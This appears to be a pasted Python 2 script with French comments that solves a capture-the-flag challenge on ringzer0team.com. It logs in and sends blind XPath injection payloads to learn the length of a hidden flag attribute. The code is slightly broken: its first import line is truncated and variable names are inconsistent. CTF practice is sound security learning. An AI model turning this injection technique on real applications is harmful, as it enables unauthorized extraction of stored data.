Guest User

Untitled

a guest
Jan 21st, 2016
37
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.89 KB | None | 0 0
  1. rt urllib
  2. import urllib2
  3. import cookielib
  4.  
  5. #url challenge et site
  6. chall = "challenges/83?u="
  7. url = "http://ringzer0team.com/"
  8.  
  9. #data de login
  10. username = "hohoohohoho"
  11. password = "hehehhehohohohohoh"
  12. data = urllib.urlencode({"username": username, "password": password})
  13.  
  14. cookie = cookielib.CookieJar()
  15. web = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie))
  16.  
  17. web.open(url+"login",data)
  18. tab = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!$&()*,-./:;<=>?@[]^_{|}~";
  19. reponse= ""
  20. trouve=0
  21. i=0
  22. taille=0
  23.  
  24. while trouve != 1 :
  25.         injection="and string-length(/Users/user/@flag)="+str(i)+"][""a""=""a"
  26.  
  27.         source = web.open(url+chall+injection).read()
  28.         response = source.find("does")
  29.         if (response == -1):
  30.          print reponse
  31.          trouve=1
  32.          exit
  33.  
  34.         else:
  35.                 i=i+1
  36. print "Voila"
  37. print i
  38. print trouve
Add Comment
Please, Sign In to add comment